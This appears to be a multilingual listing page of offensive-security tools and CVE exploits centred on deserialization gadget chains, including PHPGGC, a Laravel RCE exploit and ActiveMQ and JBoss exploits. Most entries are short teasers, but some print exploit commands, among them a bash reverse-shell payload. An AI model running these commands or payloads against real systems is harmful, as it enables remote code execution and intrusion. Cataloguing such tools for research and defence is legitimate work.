GadgetProbe

Descrizione Hai appena trovato un bug di deserializzazione Java, hai eseguito tutti i tuoi payload ysoserial e... non hai ottenuto nulla. E adesso? Come puoi fare debug o costruire una catena di gadget se sei completamente cieco? Ecco GadgetProbe, uno strumento che fa luce sui classpath remoti e...

ppmap

ppmap Uno strumento semplice di scansione/sfruttamento scritto in GO che sfrutta automaticamente gadget conosciuti ed esistenti verifica variabili specifiche nel contesto globale per eseguire XSS tramite Prototype Pollution. NOTA: Il programma sfrutta solo gadget conosciuti, ma non copre l'analis...

CVE-2019-18935-exploit-study

CVE-2019-18935-exploit-study Estudo aprofundado do CVE-2019-18935 que afeta o Telerik UI para ASP.NET AJAX. Abrange a vulnerabilidade de desserialização .NET, o manipulador RadAsyncUpload, cadeias de gadgets, exploração de assemblies em modo misto e estratégias de mitigação...

CVE-2021-2302

CVE-2021-2302 Autor: quynhle Gadget-Kette root@kitploit: javax.management.BadAttributeValueExpException.readObject oracle.security.jps.az.internal.common.principals.toString oracle.security.jps.az.internal.common.principals.getResolvedPrincipal . . . con.newInstance...

CVE-2019-14079

USB-Geräte-Fuzzing auf Android CVE-2019-14079 Dieser Blogbeitrag handelt von einem einfachen Bug, den ich in meinem Android-Gerät MI A2 – läuft mit Stock-Android mittels USB-Geräte-Fuzzing gefunden habe und der von Google als hohes Risiko eingestuft wurde. Der Bug befand sich im...

CVE-2020-14882-checker

Checker CVE-2020-14882 Script di rilevamento CVE-2020-14882 Questo checker si basa sul PoC di jas502n. Utilizzando un gadget, tenta di sostituire la risposta HTTP di una pagina a cui un utente non autenticato non dovrebbe avere accesso. root@kitploit: python cve202014882checker.py --ip 192.168.1....

CVE-2026-40860

camel-jms Riproduttore di deserializzazione non sicura di JMS ObjectMessage CVE-2026-40860 Questo progetto dimostra una vulnerabilità di deserializzazione Java nel componente camel-jms di Apache Camel e, transitivamente, camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6,...

phpggc

PHPGGC: PHP Generic Gadget Chains PHPGGC ist eine Bibliothek vonunserialize-Payloads sowie ein Werkzeug, um diese von der Kommandozeile oder programmatisch zu erzeugen. Wenn Sie auf einer Website auf ein unserialize stoßen, deren Code Sie nicht haben, oder einfach ein Exploit bauen möchten,...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...

barf-project

BARF : Binary Analysis and Reverse engineering Framework The analysis of binary code is a crucial activity in many areas of the computer sciences and software engineering disciplines ranging from software security and program analysis to reverse engineering. Manual binary analysis is a difficult...

ActiveMQ_CVE-2023-46604

ActiveMQCVE-2023-46604 Implementação em Python para construção rápida de pacotes de tráfego de dados concorrentes; ambas as implementações das classes gadgets estão presentes, org.springframework.context.support.FileSystemXmlApplicationContext e...

CVE-2023-51518

CVE-2023-51518: Deserializzazione Java pre-autenticata tramite JMX in Apache James Le distribuzioni di Apache James precedenti alle release 3.7.5 e 3.8.1 consentono l'escalation dei privilegi tramite la deserializzazione durante la pre-autenticazione JMX. Se si dispone di un gadget di...

CVE-2020-36287

CVE-2020-36287 La risorsa delle preferenze dei gadget della dashboard del plugin Atlassian gadgets utilizzato in Jira Server e Jira Data Center prima della versione 8.13.5, e dalla versione 8.14.0 prima della versione 8.15.1, consente a remoti attaccanti anonimi di ottenere le impostazioni relati...

f_hid-4.14-backports

Backports de fhid para Linux 4.14.190 SM-A525F Três correções para drivers/usb/gadget/function/fhid.c, aplicadas manualmente a um kernel Android de fornecedor 4.14.190 e verificadas no dispositivo em que rodam. 4.14 está em fim de vida. Não existe backport estável para nenhuma destas correções, e...

EUVD-2026-66838

SerializingHttpMessageConverter deserializes the body of incoming HTTP requests with a raw java.io.ObjectInputStream and no class filtering. Any request with Content-Type application/x-java-serialized-object whose body resolves to a Serializable type is read directly via readObject. If an...

mojarragadget

mojarragadget описание Мы обнаружили новую цепочку гаджетов в библиотеке Mojarra Library, в этом репозитории содержатся 2 PoC для воспроизведения уязвимости в версиях 2.3 и 3.0. Дополнительная информация здесь: https://www.synacktiv.com/publications/finding-gadgets-like-its-2015-part-1.html...

QLinspector

QLinspector Finden von Java/C-Gadget-Chains mit CodeQL. Weitere Informationen in unserem Artikel Installation Repository klonen root@kitploit: $ git clone https://github.com/synacktiv/QLinspector.git Nach Gadgets suchen: root@kitploit: $ codeql database analyze log4j --format=sarif-latest...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Ausnutzen der Java-Deserialisierungsschwachstelle mit Burp Suite 0x01 Aufbau der Jboss JMXInvokerServlet-Deserialisierungsschwachstelle Testumgebung: JBoss JMXInvokerServlet-Deserialisierungsschwachstelle Prinzip der Schwachstelle: JBoss liest in der...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' मूल रूप से, CVE-2023–26326 को deserialization भेद्यता के रूप में शोषण करने के लिए gadget chains की आवश्यकता थी। PHP 8+ पर चलने वाली नई WordPress साइटों पर यह विधि अब संभव नहीं है; हालाँकि,...

JOP_ROCKET

JOP ROCKET HINWEIS: Mit 2.15 führen wir den Zwei-Gadget-Dispatcher ein--dies erweitert die Möglichkeiten mit Dispatcher-Gadgets erheblich. Mit 2.15 wurden am 26. Mai 2021 viele Optimierungen und zusätzliche neue Funktionen hinzugefügt. Update: 29. November 2021: Ich habe die Folien für @Hack in...